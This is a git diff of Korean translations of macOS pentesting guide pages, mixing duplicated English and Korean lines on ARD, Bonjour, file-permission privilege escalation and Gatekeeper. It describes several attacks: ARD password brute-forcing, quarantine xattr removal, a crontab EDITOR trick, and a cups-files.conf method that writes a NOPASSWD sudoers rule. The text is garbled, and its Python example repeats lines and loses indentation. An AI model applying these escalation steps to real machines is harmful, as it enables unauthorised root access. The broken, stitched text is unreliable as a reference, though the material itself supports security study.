이 서비스는 `시스템 설정` --> `공유`에서 활성화/비활성화할 수 있습니다.
- **VNC**, known as “Screen Sharing” (tcp:5900)
- **SSH**, called “Remote Login” (tcp:22)
- **Apple Remote Desktop** (ARD), or “Remote Management” (tcp:3283, tcp:5900)
- **AppleEvent**, known as “Remote Apple Event” (tcp:3031)
Check if any is enabled running:
- **VNC**, "화면 공유"로 알려져 있음 (tcp:5900)
- **SSH**, "원격 로그인"이라고 불림 (tcp:22)
- **Apple Remote Desktop** (ARD), 또는 "원격 관리" (tcp:3283, tcp:5900)
- **AppleEvent**, "원격 Apple 이벤트"로 알려져 있음 (tcp:3031)
활성화된 서비스가 있는지 확인하려면 다음을 실행하세요:
```bash
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l);
@ -23,103 +22,90 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l);
bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l);
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
```
### Pentesting ARD
Apple Remote Desktop (ARD) is an enhanced version of [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) tailored for macOS, offering additional features. A notable vulnerability in ARD is its authentication method for the control screen password, which only uses the first 8 characters of the password, making it prone to [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) with tools like Hydra or [GoRedShell](https://github.com/ahhh/GoRedShell/), as there are no default rate limits.
Apple Remote Desktop (ARD)는 macOS에 맞게 조정된 [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing)의 향상된 버전으로, 추가 기능을 제공합니다. ARD의 주목할 만한 취약점은 제어 화면 비밀번호의 인증 방법으로, 비밀번호의 처음 8자만 사용하여 [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html)에 취약하게 만듭니다. Hydra 또는 [GoRedShell](https://github.com/ahhh/GoRedShell/)과 같은 도구를 사용하여 공격할 수 있으며, 기본 속도 제한이 없습니다.
Vulnerable instances can be identified using **nmap**'s `vnc-info` script. Services supporting `VNC Authentication (2)` are especially susceptible to brute force attacks due to the 8-character password truncation.
To enable ARD for various administrative tasks like privilege escalation, GUI access, or user monitoring, use the following command:
취약한 인스턴스는 **nmap**의 `vnc-info` 스크립트를 사용하여 식별할 수 있습니다. `VNC Authentication (2)`를 지원하는 서비스는 8자 비밀번호 잘림으로 인해 특히 brute force 공격에 취약합니다.
권한 상승, GUI 접근 또는 사용자 모니터링과 같은 다양한 관리 작업을 위해 ARD를 활성화하려면 다음 명령을 사용하십시오:
```bash
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
```
ARD는 관찰, 공유 제어 및 전체 제어를 포함한 다양한 제어 수준을 제공하며, 사용자 비밀번호 변경 후에도 세션이 지속됩니다. 관리 사용자를 위해 루트로 Unix 명령을 직접 전송하고 실행할 수 있습니다. 작업 예약 및 원격 Spotlight 검색은 여러 머신에서 민감한 파일에 대한 원격 저영향 검색을 용이하게 하는 주목할 만한 기능입니다.
ARD provides versatile control levels, including observation, shared control, and full control, with sessions persisting even after user password changes. It allows sending Unix commands directly, executing them as root for administrative users. Task scheduling and Remote Spotlight search are notable features, facilitating remote, low-impact searches for sensitive files across multiple machines.
## Bonjour 프로토콜
## Bonjour Protocol
Bonjour는 **같은 네트워크에 있는 장치들이 서로 제공하는 서비스를 감지할 수 있게 해주는 Apple 설계 기술**입니다. Rendezvous, **Zero Configuration** 또는 Zeroconf로도 알려져 있으며, 장치가 TCP/IP 네트워크에 가입하고, **자동으로 IP 주소를 선택**하며, 다른 네트워크 장치에 자신의 서비스를 브로드캐스트할 수 있게 합니다.
Bonjour, an Apple-designed technology, allows **devices on the same network to detect each other's offered services**. Known also as Rendezvous, **Zero Configuration**, or Zeroconf, it enables a device to join a TCP/IP network, **automatically choose an IP address**, and broadcast its services to other network devices.
Bonjour가 제공하는 Zero Configuration Networking은 장치가 다음을 보장합니다:
Zero Configuration Networking, provided by Bonjour, ensures that devices can:
- **DHCP 서버가 없는 경우에도 자동으로 IP 주소를 얻습니다.**
- DNS 서버 없이 **이름-주소 변환**을 수행합니다.
- 네트워크에서 사용 가능한 **서비스를 발견합니다.**
- **Automatically obtain an IP Address** even in the absence of a DHCP server.
- Perform **name-to-address translation** without requiring a DNS server.
- **Discover services** available on the network.
Bonjour를 사용하는 장치는 **169.254/16 범위의 IP 주소를 할당**하고 네트워크에서 그 고유성을 확인합니다. Macs는 이 서브넷에 대한 라우팅 테이블 항목을 유지하며, `netstat -rn | grep 169`를 통해 확인할 수 있습니다.
Devices using Bonjour will assign themselves an **IP address from the 169.254/16 range** and verify its uniqueness on the network. Macs maintain a routing table entry for this subnet, verifiable via `netstat -rn | grep 169`.
DNS의 경우, Bonjour는 **Multicast DNS (mDNS) 프로토콜**을 사용합니다. mDNS는 **포트 5353/UDP**를 통해 작동하며, **표준 DNS 쿼리**를 사용하지만 **멀티캐스트 주소 224.0.0.251**을 대상으로 합니다. 이 접근 방식은 네트워크의 모든 수신 장치가 쿼리를 수신하고 응답할 수 있도록 하여 기록 업데이트를 용이하게 합니다.
For DNS, Bonjour utilizes the **Multicast DNS (mDNS) protocol**. mDNS operates over **port 5353/UDP**, employing **standard DNS queries** but targeting the **multicast address 224.0.0.251**. This approach ensures that all listening devices on the network can receive and respond to the queries, facilitating the update of their records.
네트워크에 가입할 때, 각 장치는 일반적으로 **.local**로 끝나는 이름을 자가 선택하며, 이는 호스트 이름에서 파생되거나 무작위로 생성될 수 있습니다.
Upon joining the network, each device self-selects a name, typically ending in **.local**, which may be derived from the hostname or randomly generated.
네트워크 내 서비스 발견은 **DNS 서비스 발견 (DNS-SD)**에 의해 촉진됩니다. DNS SRV 레코드의 형식을 활용하여, DNS-SD는 **DNS PTR 레코드**를 사용하여 여러 서비스의 목록을 가능하게 합니다. 특정 서비스를 찾는 클라이언트는 `<Service>.<Domain>`에 대한 PTR 레코드를 요청하며, 서비스가 여러 호스트에서 사용 가능한 경우 `<Instance>.<Service>.<Domain>` 형식의 PTR 레코드 목록을 반환받습니다.
Service discovery within the network is facilitated by **DNS Service Discovery (DNS-SD)**. Leveraging the format of DNS SRV records, DNS-SD uses **DNS PTR records** to enable the listing of multiple services. A client seeking a specific service will request a PTR record for `<Service>.<Domain>`, receiving in return a list of PTR records formatted as `<Instance>.<Service>.<Domain>` if the service is available from multiple hosts.
`dns-sd` 유틸리티는 **네트워크 서비스를 발견하고 광고하는 데 사용될 수 있습니다**. 다음은 그 사용 예시입니다:
The `dns-sd` utility can be employed for **discovering and advertising network services**. Here are some examples of its usage:
### Searching for SSH Services
To search for SSH services on the network, the following command is used:
### SSH 서비스 검색
네트워크에서 SSH 서비스를 검색하기 위해 다음 명령을 사용합니다:
```bash
dns-sd -B _ssh._tcp
```
이 명령은 \_ssh.\_tcp 서비스 검색을 시작하고 타임스탬프, 플래그, 인터페이스, 도메인, 서비스 유형 및 인스턴스 이름과 같은 세부 정보를 출력합니다.
This command initiates browsing for \_ssh.\_tcp services and outputs details such as timestamp, flags, interface, domain, service type, and instance name.
### Advertising an HTTP Service
To advertise an HTTP service, you can use:
### HTTP 서비스 광고
HTTP 서비스를 광고하려면 다음을 사용할 수 있습니다:
```bash
dns-sd -R "Index" _http._tcp . 80 path=/index.html
```
이 명령은 포트 80에서 `/index.html` 경로를 가진 "Index"라는 HTTP 서비스를 등록합니다.
This command registers an HTTP service named "Index" on port 80 with a path of `/index.html`.
To then search for HTTP services on the network:
그런 다음 네트워크에서 HTTP 서비스를 검색하려면:
```bash
dns-sd -B _http._tcp
```
서비스가 시작되면, 서브넷의 모든 장치에 자신의 가용성을 멀티캐스트하여 알립니다. 이러한 서비스에 관심이 있는 장치는 요청을 보낼 필요 없이 이러한 알림을 듣기만 하면 됩니다.
When a service starts, it announces its availability to all devices on the subnet by multicasting its presence. Devices interested in these services don't need to send requests but simply listen for these announcements.
For a more user-friendly interface, the **Discovery - DNS-SD Browser** app available on the Apple App Store can visualize the services offered on your local network.
Alternatively, custom scripts can be written to browse and discover services using the `python-zeroconf` library. The [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) script demonstrates creating a service browser for `_http._tcp.local.` services, printing added or removed services:
보다 사용자 친화적인 인터페이스를 위해, Apple App Store에서 제공되는 **Discovery - DNS-SD Browser** 앱은 로컬 네트워크에서 제공되는 서비스를 시각화할 수 있습니다.
또는, `python-zeroconf` 라이브러리를 사용하여 서비스를 탐색하고 발견하는 사용자 정의 스크립트를 작성할 수 있습니다. [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) 스크립트는 `_http._tcp.local.` 서비스에 대한 서비스 브라우저를 생성하고 추가되거나 제거된 서비스를 출력하는 방법을 보여줍니다:
```python
from zeroconf import ServiceBrowser, Zeroconf
class MyListener:
def remove_service(self, zeroconf, type, name):
print("Service %s removed" % (name,))
def remove_service(self, zeroconf, type, name):
print("Service %s removed" % (name,))
def add_service(self, zeroconf, type, name):
info = zeroconf.get_service_info(type, name)
print("Service %s added, service info: %s" % (name, info))
def add_service(self, zeroconf, type, name):
info = zeroconf.get_service_info(type, name)
print("Service %s added, service info: %s" % (name, info))
zeroconf = Zeroconf()
listener = MyListener()
browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener)
try:
input("Press enter to exit...\n\n")
input("Press enter to exit...\n\n")
finally:
zeroconf.close()
zeroconf.close()
```
### Bonjour 비활성화
### Disabling Bonjour
If there are concerns about security or other reasons to disable Bonjour, it can be turned off using the following command:
보안에 대한 우려가 있거나 Bonjour를 비활성화해야 할 다른 이유가 있는 경우, 다음 명령어를 사용하여 끌 수 있습니다:
```bash
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
```
## References
## 참고 문헌
- [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)

View File

@ -14,7 +14,7 @@
### 위험한 조합
**루트가 소유한 파일/폴더를 덮어쓰는 방법**, :
**루트가 소유한 파일/폴더를 덮어쓰는 방법**, 그러나:
- 경로의 부모 **디렉토리 소유자**가 사용자입니다.
- 경로의 부모 **디렉토리 소유자**가 **쓰기 권한**이 있는 **사용자 그룹**입니다.
@ -24,16 +24,22 @@
### 폴더 루트 R+X 특별 사례
**루트만 R+X 접근 권한**을 가진 **디렉토리**에 파일이 있는 경우, 그 파일은 **다른 누구도 접근할 수 없습니다**. 따라서 **제한**으로 인해 사용자가 읽을 수 없는 **읽기 가능한 파일**을 이 폴더에서 **다른 폴더로 이동**할 수 있는 취약점이 있다면, 이를 악용하여 이러한 파일을 읽을 수 있습니다.
**루트만 R+X 접근 권한**이 있는 **디렉토리**에 파일이 있는 경우, 그 파일은 **다른 누구도 접근할 수 없습니다**. 따라서 **제한**으로 인해 사용자가 읽을 수 없는 **읽기 가능한 파일**을 이 폴더에서 **다른 폴더로 이동**할 수 있는 취약점이 있다면, 이를 악용하여 이러한 파일을 읽을 수 있습니다.
예시: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
## 심볼릭 링크 / 하드 링크
특권 프로세스가 **하위 특권 사용자**에 의해 **제어**될 수 있는 **파일**에 데이터를 쓰고 있거나, 하위 특권 사용자에 의해 **이전에 생성된** 파일에 데이터를 쓰고 있는 경우, 사용자는 심볼릭 또는 하드 링크를 통해 **다른 파일**을 가리킬 수 있으며, 특권 프로세스는 해당 파일에 쓰게 됩니다.
### 관대한 파일/폴더
특권 프로세스가 **하위 특권 사용자**에 의해 **제어**될 수 있는 **파일**에 데이터를 쓰고 있거나, 하위 특권 사용자에 의해 **이전에 생성된** 경우, 사용자는 심볼릭 또는 하드 링크를 통해 **다른 파일**을 가리킬 수 있으며, 특권 프로세스는 해당 파일에 쓰게 됩니다.
공격자가 **임의 쓰기를 악용하여 권한을 상승**시킬 수 있는 다른 섹션을 확인하십시오.
### Open `O_NOFOLLOW`
`open` 함수에서 사용되는 플래그 `O_NOFOLLOW`는 마지막 경로 구성 요소에서 심볼릭 링크를 따르지 않지만, 나머지 경로는 따릅니다. 경로에서 심볼릭 링크를 따르지 않도록 방지하는 올바른 방법은 `O_NOFOLLOW_ANY` 플래그를 사용하는 것입니다.
## .fileloc
**`.fileloc`** 확장자를 가진 파일은 다른 애플리케이션이나 바이너리를 가리킬 수 있으므로, 열릴 때 애플리케이션/바이너리가 실행됩니다.\
@ -50,11 +56,15 @@
</dict>
</plist>
```
## 임의 FD
## 파일 설명자
**프로세스가 높은 권한으로 파일이나 폴더를 열 수 있다면**, **`crontab`**을 악용하여 **`EDITOR=exploit.py`**로 `/etc/sudoers.d`의 파일을 열 수 있습니다. 이렇게 하면 `exploit.py``/etc/sudoers` 내의 파일에 대한 FD를 얻고 이를 악용할 수 있습니다.
### FD 누수 (no `O_CLOEXEC`)
예: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
`open` 호출에 `O_CLOEXEC` 플래그가 없으면 파일 설명자가 자식 프로세스에 의해 상속됩니다. 따라서, 권한이 있는 프로세스가 권한이 있는 파일을 열고 공격자가 제어하는 프로세스를 실행하면, 공격자는 **권한이 있는 파일에 대한 FD를 상속받게 됩니다**.
**높은 권한으로 파일이나 폴더를 열도록 프로세스를 만들 수 있다면**, **`crontab`**를 악용하여 **`EDITOR=exploit.py`**로 `/etc/sudoers.d`에 있는 파일을 열 수 있습니다. 그러면 `exploit.py``/etc/sudoers` 내부의 파일에 대한 FD를 얻고 이를 악용할 수 있습니다.
예를 들어: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), 코드: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
## 격리 xattrs 트릭 피하기
@ -64,7 +74,7 @@ xattr -d com.apple.quarantine /path/to/file_or_app
```
### uchg / uchange / uimmutable 플래그
파일/폴더에 이 불변 속성이 있으면 xattr를 설정할 수 없습니다.
파일/폴더에 이 불변 속성이 설정되어 있으면 xattr를 추가할 수 없습니다.
```bash
echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
@ -112,7 +122,7 @@ ls -le /tmp/test
**AppleDouble** 파일 형식은 ACE를 포함하여 파일을 복사합니다.
[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 **`com.apple.acl.text`**라는 xattr에 저장된 ACL 텍스트 표현이 압축 해제된 파일의 ACL로 설정될 것임을 확인할 수 있습니다. 따라서, ACL이 다른 xattrs가 작성되는 것을 방지하는 zip 파일로 애플리케이션을 압축했다면... 격리 xattr는 애플리케이션에 설정되지 않았습니다:
[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 **`com.apple.acl.text`**라는 xattr에 저장된 ACL 텍스트 표현이 압축 해제된 파일의 ACL로 설정될 것임을 확인할 수 있습니다. 따라서, ACL이 다른 xattrs가 작성되는 것을 방지하는 애플리케이션을 **AppleDouble** 파일 형식의 zip 파일로 압축했다면... 애플리케이션에 격리 xattr가 설정되지 않았습니다:
자세한 정보는 [**원본 보고서**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)를 확인하세요.
@ -136,17 +146,38 @@ ls -le test
```
(작동하더라도 샌드박스는 먼저 격리 xattr를 작성합니다)
그다지 필요하지는 않지만 혹시 모르니 남겨둡니다:
정확히 필요하지는 않지만 혹시 모르니 남겨둡니다:
{{#ref}}
macos-xattr-acls-extra-stuff.md
{{#endref}}
## 서명 검사 우회
### 플랫폼 바이너리 검사 우회
일부 보안 검사는 바이너리가 **플랫폼 바이너리**인지 확인하여 XPC 서비스에 연결할 수 있도록 합니다. 그러나 https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/에서 설명된 바와 같이, 플랫폼 바이너리(예: /bin/ls)를 가져와서 `DYLD_INSERT_LIBRARIES` 환경 변수를 사용하여 dyld를 통해 익스플로잇을 주입함으로써 이 검사를 우회할 수 있습니다.
### 플래그 `CS_REQUIRE_LV``CS_FORCED_LV` 우회
실행 중인 바이너리가 자신의 플래그를 수정하여 다음과 같은 코드로 검사를 우회할 수 있습니다:
```c
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid();
NSString *exePath = NSProcessInfo.processInfo.arguments[0];
uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
status |= 0x2000; // CS_REQUIRE_LV
csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
```
## 코드 서명 우회
번들에는 **`_CodeSignature/CodeResources`** 파일이 포함되어 있으며, 이 파일은 **번들** 내의 모든 **파일**의 **해시**를 포함합니다. CodeResources의 해시는 **실행 파일**에도 **내장**되어 있으므로, 그것을 건드릴 수 없습니다.
번들에는 **`_CodeSignature/CodeResources`** 파일이 포함되어 있으며, 이 파일에는 **번들** 내의 모든 **파일**의 **해시**가 포함되어 있습니다. CodeResources의 해시도 **실행 파일**에 **내장**되어 있으므로, 우리는 그것을 건드릴 수 없습니다.
그러나 서명이 확인되지 않는 몇 가지 파일이 있으며, 이 파일들은 plist에서 omit 키를 가지고 있습니다.
그러나 서명이 확인되지 않는 일부 파일이 있으며, 이러한 파일은 plist에서 omit 키를 가지고 있습니다.
```xml
<dict>
...
@ -230,7 +261,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg
### 데몬
임의의 스크립트를 실행하는 plist로 **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**와 같은 임의의 **LaunchDaemon**을 작성합니다:
임의의 **LaunchDaemon**을 작성하여 **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**와 같은 plist를 사용하여 임의의 스크립트를 실행하도록 합니다:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -247,7 +278,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg
</dict>
</plist>
```
`/Applications/Scripts/privesc.sh` 생성하고 **루트**로 실행하고 싶은 **명령어**를 입력하세요.
`/Applications/Scripts/privesc.sh` 파일을 생성하고 **루트**로 실행하고 싶은 **명령어**를 입력하세요.
### Sudoers 파일
@ -255,13 +286,33 @@ hdiutil create -srcfolder justsome.app justsome.dmg
### PATH 파일
**`/etc/paths`** 파일은 PATH env 변수를 채우는 주요 장소 중 하나입니다. 이를 덮어쓰려면 루트 권한이 필요하지만, **특권 프로세스**에서 **전체 경로 없이** 명령어를 실행하는 스크립트가 있다면, 이 파일을 수정하여 **하이재킹**할 수 있습니다.
**`/etc/paths`** 파일은 PATH env 변수를 채우는 주요 장소 중 하나입니다. 이를 덮어쓰려면 루트 권한이 필요하지만, **특권 프로세스**의 스크립트가 **전체 경로 없이** 어떤 **명령어**를 실행하고 있다면, 이 파일을 수정하여 **하이재킹**할 수 있습니다.
또한 **`/etc/paths.d`**에 파일을 작성하여 새로운 폴더를 `PATH` env 변수에 로드할 수 있습니다.
또한 **`/etc/paths.d`**에 파일을 작성하여 `PATH` env 변수에 새로운 폴더를 추가할 수 있습니다.
### cups-files.conf
이 기술은 [이 글](https://www.kandji.io/blog/macos-audit-story-part1)에서 사용되었습니다.
다음 내용을 포함하여 `/etc/cups/cups-files.conf` 파일을 생성하세요:
```
ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
<some junk>
```
이것은 `/etc/sudoers.d/lpe` 파일을 777 권한으로 생성합니다. 끝에 있는 추가 쓰레기는 오류 로그 생성을 트리거하기 위한 것입니다.
그런 다음, `/etc/sudoers.d/lpe``%staff ALL=(ALL) NOPASSWD:ALL`과 같은 권한 상승에 필요한 구성을 작성합니다.
그런 다음, `/etc/cups/cups-files.conf` 파일을 다시 수정하여 `LogFilePerm 700`을 지정하여 새로운 sudoers 파일이 `cupsctl`을 호출할 때 유효해지도록 합니다.
### 샌드박스 탈출
FS 임의 쓰기를 통해 macOS 샌드박스를 탈출하는 것이 가능합니다. 몇 가지 예시는 [macOS Auto Start](../../../../macos-auto-start-locations.md) 페이지를 확인하세요. 그러나 일반적인 방법은 `~/Library/Preferences/com.apple.Terminal.plist`에 터미널 환경설정 파일을 작성하여 시작 시 명령을 실행하고 `open`을 사용하여 호출하는 것입니다.
## 다른 사용자로서 쓰기 가능한 파일 생성
이것은 루트에 속하지만 내가 쓸 수 있는 파일을 생성합니다 ([**여기서 코드**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). 이것은 privesc로도 작동할 수 있습니다:
이것은 내가 쓸 수 있는 루트 소유의 파일을 생성합니다 ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). 이것은 권한 상승으로도 작동할 수 있습니다:
```bash
DIRNAME=/usr/local/etc/periodic/daily
@ -275,7 +326,7 @@ echo $FILENAME
```
## POSIX 공유 메모리
**POSIX 공유 메모리**는 POSIX 호환 운영 체제에서 프로세스가 공통 메모리 영역에 접근할 수 있도록 하여 다른 프로세스 간 통신 방법에 비해 더 빠른 통신을 가능하게 합니다. 이는 `shm_open()`을 사용하여 공유 메모리 객체를 생성하거나 열고, `ftruncate()`로 크기를 설정하며, `mmap()`을 사용하여 프로세스의 주소 공간에 매핑하는 과정을 포함합니다. 프로세스는 이 메모리 영역에서 직접 읽고 쓸 수 있습니다. 동시 접근을 관리하고 데이터 손상을 방지하기 위해 뮤텍스나 세마포와 같은 동기화 메커니즘이 자주 사용됩니다. 마지막으로, 프로세스는 `munmap()``close()`를 사용하여 공유 메모리를 언매핑하고 닫으며, 선택적으로 `shm_unlink()`로 메모리 객체를 제거니다. 이 시스템은 여러 프로세스가 공유 데이터에 빠르게 접근해야 하는 환경에서 효율적이고 빠른 IPC를 위해 특히 효과적입니다.
**POSIX 공유 메모리**는 POSIX 호환 운영 체제에서 프로세스가 공통 메모리 영역에 접근할 수 있도록 하여 다른 프로세스 간 통신 방법에 비해 더 빠른 통신을 가능하게 합니다. 이는 `shm_open()`을 사용하여 공유 메모리 객체를 생성하거나 열고, `ftruncate()`로 크기를 설정하며, `mmap()`을 사용하여 프로세스의 주소 공간에 매핑하는 과정을 포함합니다. 프로세스는 이 메모리 영역에서 직접 읽고 쓸 수 있습니다. 동시 접근을 관리하고 데이터 손상을 방지하기 위해 뮤텍스나 세마포와 같은 동기화 메커니즘이 자주 사용됩니다. 마지막으로, 프로세스는 `munmap()``close()`를 사용하여 공유 메모리를 언매핑하고 닫으며, 선택적으로 `shm_unlink()`로 메모리 객체를 제거할 수 있습니다. 이 시스템은 여러 프로세스가 공유 데이터에 빠르게 접근해야 하는 환경에서 효율적이고 빠른 IPC를 위해 특히 효과적입니다.
<details>

View File

@ -2,35 +2,31 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Gatekeeper
**Gatekeeper**는 Mac 운영 체제를 위해 개발된 보안 기능으로, 사용자가 **신뢰할 수 있는 소프트웨어만** 시스템에서 실행하도록 보장합니다. 이는 사용자가 **App Store 외부의 소스**에서 다운로드하고 열려고 시도하는 소프트웨어를 **검증**함으로써 작동합니다. 예를 들어 앱, 플러그인 또는 설치 패키지가 있습니다.
Gatekeeper의 주요 메커니즘은 **검증** 프로세스에 있습니다. 다운로드한 소프트웨어가 **인정된 개발자에 의해 서명되었는지** 확인하여 소프트웨어의 진위를 보장합니다. 또한, 소프트웨어가 **Apple에 의해 노타리제이션**되었는지 확인하여 알려진 악성 콘텐츠가 없고 노타리제이션 후에 변조되지 않았음을 확인합니다.
Gatekeeper의 주요 메커니즘은 **검증** 프로세스에 있습니다. 다운로드한 소프트웨어가 **인정된 개발자에 의해 서명되었는지** 확인하여 소프트웨어의 진위를 보장합니다. 또한, 소프트웨어가 **Apple에 의해 노타리제이션(notarised)** 되었는지 확인하여 알려진 악성 콘텐츠가 없고 노타리제이션 후에 변조되지 않았음을 확인합니다.
또한, Gatekeeper는 **사용자가 다운로드한 소프트웨어를 처음 열 때 승인하도록 요청**하여 사용자 제어 및 보안을 강화합니다. 이 보호 장치는 사용자가 무해한 데이터 파일로 착각할 수 있는 잠재적으로 해로운 실행 코드를 실수로 실행하는 것을 방지하는 데 도움을 줍니다.
### Application Signatures
애플리케이션 서명, 즉 코드 서명은 Apple의 보안 인프라의 중요한 구성 요소입니다. 이는 **소프트웨어 저자의 신원을 검증**하고 코드가 마지막으로 서명된 이후 변조되지 않았음을 보장하는 데 사용됩니다.
애플리케이션 서명, 즉 코드 서명은 Apple의 보안 인프라의 중요한 구성 요소입니다. 이는 **소프트웨어 저자의 신원을 검증**(개발자)하고 코드가 마지막으로 서명된 이후 변조되지 않았음을 보장하는 데 사용됩니다.
작동 방식은 다음과 같습니다:
1. **애플리케이션 서명:** 개발자가 애플리케이션을 배포할 준비가 되면, **개인 키를 사용하여 애플리케이션에 서명**합니다. 이 개인 키는 개발자가 Apple Developer Program에 등록할 때 Apple이 개발자에게 발급하는 **인증서**와 연결되어 있습니다. 서명 프로세스는 앱의 모든 부분에 대한 암호화 해시를 생성하고 이 해시를 개발자의 개인 키로 암호화하는 것을 포함합니다.
1. **애플리케이션 서명:** 개발자가 애플리케이션을 배포할 준비가 되면, **개인 키를 사용하여 애플리케이션에 서명**합니다. 이 개인 키는 개발자가 Apple Developer Program에 등록할 때 Apple이 개발자에게 발급하는 **인증서와 연결되어 있습니다**. 서명 프로세스는 앱의 모든 부분에 대한 암호화 해시를 생성하고 이 해시를 개발자의 개인 키로 암호화하는 것을 포함합니다.
2. **애플리케이션 배포:** 서명된 애플리케이션은 개발자의 인증서와 함께 사용자에게 배포되며, 이 인증서에는 해당 공개 키가 포함되어 있습니다.
3. **애플리케이션 검증:** 사용자가 애플리케이션을 다운로드하고 실행하려고 시도할 때, Mac 운영 체제는 개발자의 인증서에서 공개 키를 사용하여 해시를 복호화합니다. 그런 다음 현재 애플리케이션 상태를 기반으로 해시를 재계산하고 이를 복호화된 해시와 비교합니다. 일치하면 **애플리케이션이 개발자가 서명한 이후로 수정되지 않았음을 의미하며**, 시스템은 애플리케이션 실행을 허용합니다.
애플리케이션 서명은 Apple의 Gatekeeper 기술의 필수적인 부분입니다. 사용자가 **인터넷에서 다운로드한 애플리케이션을 열려고 시도할 때**, Gatekeeper는 애플리케이션 서명을 검증합니다. Apple이 알려진 개발자에게 발급한 인증서로 서명되었고 코드가 변조되지 않았다면, Gatekeeper는 애플리케이션 실행을 허용합니다. 그렇지 않으면 애플리케이션을 차단하고 사용자에게 경고합니다.
macOS Catalina부터는 **Gatekeeper가 애플리케이션이 Apple에 의해 노타리제이션되었는지 여부도 확인**하여 추가 보안 계층을 추가합니다. 노타리제이션 프로세스는 애플리케이션에서 알려진 보안 문제와 악성 코드를 검사하며, 이러한 검사가 통과하면 Apple은 Gatekeeper가 검증할 수 있는 티켓을 애플리케이션에 추가합니다.
macOS Catalina부터는 **Gatekeeper가 애플리케이션이 Apple에 의해 노타리제이션되었는지**도 확인하여 추가 보안 계층을 추가합니다. 노타리제이션 프로세스는 애플리케이션에서 알려진 보안 문제와 악성 코드를 검사하며, 이러한 검사가 통과하면 Apple은 Gatekeeper가 검증할 수 있는 티켓을 애플리케이션에 추가합니다.
#### Check Signatures
일부 **악성 샘플**을 확인할 때는 항상 **서명**을 확인해야 하며, 서명한 **개발자**가 이미 **악성 코드와 관련이 있을 수 있습니다.**
일부 **악성 샘플**을 확인할 때는 항상 **서명을 확인**해야 하며, 서명한 **개발자**가 이미 **악성 코드와 관련**이 있을 수 있습니다.
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -49,11 +45,11 @@ codesign -s <cert-name-keychain> toolsdemo
```
### Notarization
Apple의 인증 프로세스는 사용자를 잠재적으로 해로운 소프트웨어로부터 보호하기 위한 추가적인 안전 장치 역할을 합니다. 이는 **개발자가 자신의 애플리케이션을** **Apple의 Notary Service**에 제출하여 검토를 받는 과정을 포함합니다. 이 서비스는 App Review와 혼동해서는 안 됩니다. 이 서비스는 제출된 소프트웨어에 **악성 콘텐츠**와 코드 서명 관련 잠재적 문제를 검사하는 **자동화된 시스템**입니다.
